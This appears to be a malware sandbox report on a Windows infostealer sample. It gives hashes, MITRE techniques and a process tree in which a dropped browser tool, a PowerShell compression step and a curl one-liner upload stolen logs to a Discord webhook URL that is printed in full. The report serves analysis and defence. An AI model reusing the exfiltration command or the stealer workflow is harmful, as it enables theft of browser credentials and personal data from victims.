bb93ed68b33e054e3d24d4075fef749ea1f2a2ab47e65f0ce78f89ec1c3bd989

Analysis

max time kernel
148s
max time network
115s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260709-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
29/07/2026, 11:00

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
2026-07-29_5f79adb8d485ca75db7a33c2adc45fa5_cobalt-strike_icedid_njrat_satacom.exe
Size 1.6MB
Sample260729-m33thssclg
SHA256 bb93ed68b33e054e3d24d4075fef749ea1f2a2ab47e65f0ce78f89ec1c3bd989
MD5 5f79adb8d485ca75db7a33c2adc45fa5
SHA1 7a30720cbfdb59d514fc588c60a1924dc2b81da7
SHA512 9323db35a08cf42e8290fb58dc738dc3cbb4129d72013ae29d7f9a7e9825d1f6c0ed7a2ae1af268fd8769e156f92f41f2be9f9fce2e4a633a35c9440efab0152
SSDEEP 49152:SlWxyQx2SIfroXT6hP8erD01f1VdfEWyhz4:QVnfEOhhrD01xfq
TLSH
T13675F207B6A510F9E177D538C9925906E772BC124F70ABDF03A446A61F23BE09E3EB11
MD5 SHA1 SHA512 SSDEEP TLSH

Score

7^/10

execution

Malware Config

Signatures

Executes dropped EXE 1 IoCs

pid	Process
4860	chromelevator.exe

Contacts third-party web service commonly abused for C2 1 TTPs 2 IoCs

Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.

Web Service

T1102

flow	ioc
1	discord.com
10	discord.com

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
6084	powershell.exe

Executes a command shell one-liner 1 TTPs 1 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
3612	cmd.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
6084	powershell.exe
6084	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	6084	powershell.exe

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 2120 wrote to memory of 4860	2120	2026-07-29_5f79adb8d485ca75db7a33c2adc45fa5_cobalt-strike_icedid_njrat_satacom.exe	90
PID 4860 wrote to memory of 2000	4860	chromelevator.exe	92
PID 4860 wrote to memory of 2000	4860	chromelevator.exe	92
PID 4860 wrote to memory of 548	4860	chromelevator.exe	95
PID 4860 wrote to memory of 548	4860	chromelevator.exe	95
PID 2120 wrote to memory of 6084	2120	2026-07-29_5f79adb8d485ca75db7a33c2adc45fa5_cobalt-strike_icedid_njrat_satacom.exe	96
PID 2120 wrote to memory of 3612	2120	2026-07-29_5f79adb8d485ca75db7a33c2adc45fa5_cobalt-strike_icedid_njrat_satacom.exe	98
PID 3612 wrote to memory of 2516	3612	cmd.exe	100

cURL User-Agent 1 IoCs

Uses User-Agent string associated with cURL utility.

description	flow	ioc
HTTP User-Agent header	10	curl/8.8.0

C:\Users\Admin\AppData\Local\Temp\2026-07-29_5f79adb8d485ca75db7a33c2adc45fa5_cobalt-strike_icedid_njrat_satacom.exe
"C:\Users\Admin\AppData\Local\Temp\2026-07-29_5f79adb8d485ca75db7a33c2adc45fa5_cobalt-strike_icedid_njrat_satacom.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:2120
- C:\Users\Admin\AppData\Local\Temp\Vortex_2120\chromelevator.exe
  -v -o "C:\Users\Admin\AppData\Local\Temp\Vortex_2120" --kill all
  2⤵
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:4860
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe"
    3⤵
    PID:2000
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"
    3⤵
    PID:548
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "Compress-Archive -Path 'C:\Users\Admin\AppData\Local\Temp\Vortex_2120\\*' -DestinationPath 'C:\Users\Admin\AppData\Local\Temp\Vortex_2120\\logs.zip' -Force"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:6084
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c curl.exe -s -o nul -F "file=@C:\Users\Admin\AppData\Local\Temp\Vortex_2120\\logs.zip" "https://discord.com/api/webhooks/1531272743088033903/lrbpw9buSppCXwM8JqYFyTBGLsw1T0zfLv4_GMBgRMLUnrh1M3tvHjWsA7AHaHkGrgce"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:3612
- - C:\Windows\system32\curl.exe
    curl.exe -s -o nul -F "file=@C:\Users\Admin\AppData\Local\Temp\Vortex_2120\\logs.zip" "https://discord.com/api/webhooks/1531272743088033903/lrbpw9buSppCXwM8JqYFyTBGLsw1T0zfLv4_GMBgRMLUnrh1M3tvHjWsA7AHaHkGrgce"
    3⤵
    PID:2516

C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"
1⤵
PID:3064

C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"
1⤵
PID:4124

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Windows Command Shell

T1059.003

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

chromelevator.exe

Path C:\Users\Admin\AppData\Local\Temp\Vortex_2120\chromelevator.exe
Size 1.4MB
SHA256 fbd4547763869be14325876a3e2b7019b7c777aae5e9cf78d730478d5b1e7680
MD5 39d779889d5b6a4ada704849c48a95c3
SHA1 8cd71191bde812b7b3a05336d570b2176cb0ba1d
SHA512 17ad607db30678f67b61a4fe12067e7c9aaec6fd21267b7a2e6a3f20eb42d6d48b2ed32c30384aa55397513f2c98df5f67aefcecfc947ef450c67bbafbc225f4
SSDEEP 24576:iqxyQcu25ZdJCIS2vYEkAsWwXzn6HBxN+X7erDsfx1fOuAmdfEWf6hr3qFt:XxyQx2SIfroXT6hP8erD01f1VdfEWyh8
TLSH
T17E650207A6A500F9E1A7D574C9525906EB72BC024F60BBDF03A906971F23BF49E3EB11
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

logs.zip

Path C:\Users\Admin\AppData\Local\Temp\Vortex_2120\logs.zip
Size 7.5MB
SHA256 4f3b8d3ddfee38409a9aa64e8d32546827e68f813a33a279a6260ed93ae13a18
MD5 ad7790e1b8105aa80139f07fe61b13c1
SHA1 0f455ffb55e118b53da83e69951bd946a244f967
SHA512 f6df3ed0ad018ee28fb45ba1f212e26e9eb6867b66402e8efdd4549cbead62d1e702ea3208c4c12a9a696787d0dcdfa7d3dd8475dc74deeb6bfdd2251918d968
SSDEEP 196608:okC/P+NcSvYt/N/c5WRW6tc2nN9s9ZVmOEdczA2mR56wQ7CcaL:okSmNcOqwWRW6tcq+bmOEdr2mRIDCfL
TLSH
T19886332AD43C7C3CED200779EA22B4214A7B6A472A91B369720FCF4D7C8F1E15649DD9
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

screenshot.bmp

Path C:\Users\Admin\AppData\Local\Temp\Vortex_2120\screenshot.bmp
Size 5.9MB
SHA256 a85fb84856950296b310b63960528bb3267b4afbeb9d58e09dff0bf790f2abcf
MD5 049b7ef8204c0f42800a836e0471e3ea
SHA1 627ae01d1ff8895a9cefb482479c4105aa0166ee
SHA512 57e342f3d76ce091c2595ab2c37faf8b76ea50461cb949605c4cbfbc515ce49720a94cd79e9fb929739ae29f591cbd4472dad28b59cf39fde5827c998965afa1
SSDEEP 6144:72IHqPGjCSVUmdATy/ykZ876txrjq4Lcji+YJ2Fr3rB29SNNdl7/MzDc:XqSYeoejnjzco8rOPzY
TLSH
T1D1561513F5983D74B9E325B4A2F8C7299250E8C8A707078E4517EBF0F3967861AE7670
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

system_info.txt

Path C:\Users\Admin\AppData\Local\Temp\Vortex_2120\system_info.txt
Size 280B
SHA256 9f6546511bc551f3d55225653295354ee9c4e5b86b8ce8d77857f5fef9020fb9
MD5 5165bb4913627b812e3244b5fb4badd8
SHA1 726812e43d72342abe03ba01c9d56b3ff26ee6ed
SHA512 54f30fd25ef74cb4fac93d5e30fed9608b661905fa127d77a6cd0bc1dd07d748d9848c0b166e8af832259defcf9c5fe38fa253d9c0ab252407f06465c7813847
TLSH
T1DED05E1F09F40940A854E2439BF35467A77739547930955E21C1878F0BF6503F14775A
MD5 SHA1 SHA512 TLSH

Submit Download

memory/6084-6-0x0000017F07650000-0x0000017F07672000-memory.dmp

Download

memory/6084-11-0x0000017F1F800000-0x0000017F1F81E000-memory.dmp

Download

memory/6084-12-0x0000017F1FA90000-0x0000017F1FB42000-memory.dmp

Download

memory/6084-13-0x0000017F1F820000-0x0000017F1F82A000-memory.dmp

Download

memory/6084-14-0x0000017F1F810000-0x0000017F1F822000-memory.dmp

Download

memory/6084-15-0x0000017F1F800000-0x0000017F1F80A000-memory.dmp

Download